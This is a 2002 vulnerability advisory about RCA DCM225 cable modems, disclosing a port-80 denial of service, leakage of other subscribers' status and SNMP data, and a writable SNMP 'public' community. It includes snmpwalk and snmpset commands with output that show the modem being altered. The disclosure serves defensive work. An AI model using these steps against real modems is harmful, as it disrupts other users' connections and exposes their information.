RCA cable modem Deny of Service

["Gabriel A. Maggiotti" <gmaggiot () ciudad com ar>]

------------------------------------------------------------------------------
Web:  http://qb0x.net                           Author: Gabriel A. Maggiotti
Date: March 26, 2002                            E-mail: gmaggiot () ciudad com ar
------------------------------------------------------------------------------




General Info
------------
Problem Type    :  deny of service, misconfiguration and leak of information
Vendor          :  www.rca.com
Product         :  RCA cablemodems
Model           :  DCM225 (perhaps others)
Scope           :  Remote
Risk            :  High


Summary:
-------

The RCA Digital Cable Modem serves  as a two-way high-speed bridge between your
personal computer and a cable  Internet Service Provider (ISP). i   It converts 
information that originates  from the Internet or your computer into electronic
messages that can be transported over the same wires your cable company uses to
 transport video signals.


Problem:
-------

1-  Deny of Service:

        The RCA cable modem has two devices, the one for local connection is 192
.168.100.1 . This device is used  for information  request about the status  of
the cable. The other device is 10.x.x.x and gives the same information.
        If you   connect to the second device  (10.x.x.x) on port 80,  RCA cable
modem reset the user connection with inet. I proved it with my own wan ip 10.1.1
.x and with other  cablemodem users  IP's in the same wan.   All of  them  reset
 when I remotly  connect to port 80 of the cablemodems.



2-  Leak of Information:
     I can connect to the wan IP 10.x.x.x of any cablemodem user in my node,
and take a look at the users cablemodem status information such as:

        USB: Inactive
        Ethernet: 100
        BaseT
        MAC Address:  00 10 95 0a 05 62
        User: Active
        Signal Acquired at 573 MHz
        SNR: 36.0 dB
        Received Signal Strength: -4.0 dBmV
        Micro-Reflections: 20 dBc
        Connection: Acquired
        Frequency: 37 MHz
        Power Level: 44.0 dBmV
        Channel ID: 4
        Number of user conected: 1



I can dump user cablemodem MIB's too.

        I can search in MIB table looking for my node server. I know that  the
node IP start with 10.x.x.x and I started to search in the MIB  Ops, a found
it!

69.1.4.2.0 = IpAddress: 10.20.250.1
69.1.4.3.0 = IpAddress: 10.20.250.1
69.1.4.4.0 = IpAddress: 10.20.250.1
69.1.4.5.0 = "docsis_light_avalos"

        And then I recognize the word "avalos" becouse is the name of the street
where the node fisicaly is.


3-  Misconfiguration cause you can write my own MIB table. Take a look:

<quote>
[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public

system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS: PSOS
2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (141857) 0:23:38.57
system.sysContact.0 = unassigned sysContact
system.sysName.0 =
system.sysLocation.0 =
system.sysServices.0 = 79

[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysName.0 s lame
system.sysName.0 = lame

[gabi@pluto gabi]$ snmpset 192.168.100.1 public system.sysLocation.0 s
lame_cyty
system.sysName.0 = lame_city


[gabi@pluto gabi]$ snmpwalk 192.168.100.1 public

system.sysDescr.0 = RCA DCM225 Cable Modem serial no. 65731049496572,
HW_Version 025 (03.1), SW_Version ST05.14.00, Bootloader_Ver 11.1, OS: PSOS
2.5.0
system.sysObjectID.0 = OID: enterprises.2863.225.25.5.20.0
system.sysUpTime.0 = Timeticks: (161396) 0:26:53.96
system.sysContact.0 = unassigned sysContact
system.sysName.0 = lame
system.sysLocation.0 = lame_city
system.sysServices.0 = 79
</quote>


------------------------------------------------------------------------------
research-list () qb0x net is dedicated to interactively researching vulnerab-
ilities, report potential or undeveloped holes in any kind of computer system.
To  subscribe to   research-list () qb0x ne t send a blank  email  to 
research-list-subscribe () qb0x net. More help  available  sending an email
to research-list-help () qb0x net.
Note: the list doesn't allow html, it will be stripped from messages. 
------------------------------------------------------------------------------